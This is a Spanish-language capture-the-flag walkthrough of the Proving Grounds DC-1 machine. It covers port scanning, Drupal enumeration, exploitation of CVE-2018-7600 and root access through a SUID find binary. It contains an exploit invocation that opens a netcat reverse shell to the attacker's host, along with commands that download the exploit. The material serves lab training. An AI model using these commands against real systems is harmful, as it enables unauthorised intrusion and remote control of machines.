🟢DC-1

Write-up de la máquina DC-1 de Proving Grounds #writeup #walkthrough

Enumeración

NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.

nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.69.193

Están abiertos los puertos 22,80,111 y 57092 TCP en la máquina objetivo. El siguiente paso es realizar un escaneo más profundo únicamente de los servicios abiertos.

nmap -p22,80,111,57092 -sVC -vv -Pn -n 192.168.69.193

Tres servicios abiertos:

  • Puerto 22 -> OpenSSH 6.0p1

  • Puerto 80 -> Apache httpd 2.2.22

  • Puerto 111 -> rpcbind

  • Puerto 57092 -> ??

Enumeración web

Tenemos disponible un servidor Web en el puerto 80. Vamos a ver el contenido en el navegador.

Tenemos un sitio Web que utiliza el CMS Drupal. Probamos una serie de credenciales básicas por defecto pero no logramos acceso. Vamos a utilizar la aplicación "droopescan" para enumerar información interesante. Al mismo tiempo ejecutamos dirsearch para enumerar los directorios existentes en el sitio Web.

dirsearch -u http://192.168.69.193 -i200,301

Abrimos los diferentes archivos encontrados pero en ninguno de ellos encontramos información interesante.

Vamos instalar droopescan.

git clone https://github.com/droope/droopescan.git
cd droopescan
pip3 install -r requirements.txt
./droopescan scan --help

Una vez instalado, vamos a escanear el sitio Web buscando información que nos permita seguir avanzando en la resolución del CTF.

droopescan scan drupal -u 192.168.69.193

Tenemos las versiones posibles del CMS. Con esta información podemos buscar si existen exploits que nos permitan elevar privilegios. Para ello, utilizamos Searchsploit.

Conexión como usuario www-data (con Metasploit)

searchsploit drupal "< 7.31"

La información devuelta por searchsploit indica que la versión de Drupal que estamos intentando vulnerar, tiene un fallo de RCE. Vamos a buscar este módulo en Metasploit.

Configuramos el exploit.

Y lanzamos el exploit

Y ya estariamos conectados a la máquina víctima. El siguiente paso será la búsqueda de la flag.

Conexión como usuario www-data (sin Metasploit)

Otra cosa que podemos hacer si no queremos utilizar Metasploit, es buscar la existencia de CVEs. Nos vamos al navegador y buscamos la versión de Drupal que tenemos entre manos. Encontramos el CVE-2018-7600. Vamos a descargarlo y a probar con él.

#Para descargar
wget https://raw.githubusercontent.com/Jack-Barradell/exploits/master/CVE-2018-7600/cve-2018-7600-drupal7.py

#Para ejecutar
python3 cve-2018-7600-drupal7.py -t 192.168.241.193 -c "nc 192.168.49.241 4444 -e /bin/bash"

Ejecutaremos el exploit como se indica anteriormente y al mismo tiempo debemos poner a la escucha un oyente en el puerto 4444.

Ya tendriamos conexión a la máquina víctima otra vez, en esta ocasión utilizando un CVE-2018-7600.

Elevación de privilegios

El primer paso será aplicar el tratamiento de la tty para facilitar un poco el trabajo de la elevación de privilegios.

python -c "import pty;pty.spawn('/bin/bash')"

Esta parte la realizaremos de dos manera, utilizando Linpeas y utilizando comandos manuales de búsqueda de archivos que puedan ser potencialmente vulnerables.

Utilizando Linpeas

Deberemos descargar y enviar a la máquina víctima un binario de Linpeas. Vamos a ello.

Descargamos Linpeas desde aquí. Una vez descargado, haremos uso de un servidor http montado con Python para transferir el archivo a la máquina víctima.

Ahora en la máquina víctima "transferimos" el archivo de Linpeas.

El siguiente paso será dar privilegios de uso a Linpeas y ejecutar.

Después de ejecutar durante un momento, obtenemos resultados que nos pueden ser de utilidad.

En el siguiente apartado mostraremos como explotar esta vulnerabilidad.

De forma manual

Lo primero que debemos comprobar es si podemos elevar privilegios a través de sudo.

Sudo no está disponible en la máquina víctima. Pasamos a comprobar los binarios SUID. Esto lo hacemos de la siguiente manera:

find / -perm -u=s -type f 2>/dev/null

find dispone de un bit SUID, así que será nuestro punto de partida para la elevación de privilegios. Creamos un archivo exploit que posteriormente, ejecutaremos con find como se muestra en la imagen.

Y ya seriamos usuario con máximos privilegios. El siguiente paso, buscar la flag.

Y ya estaría resuelto el CTF DC-1 de Proving Grounds.

Last updated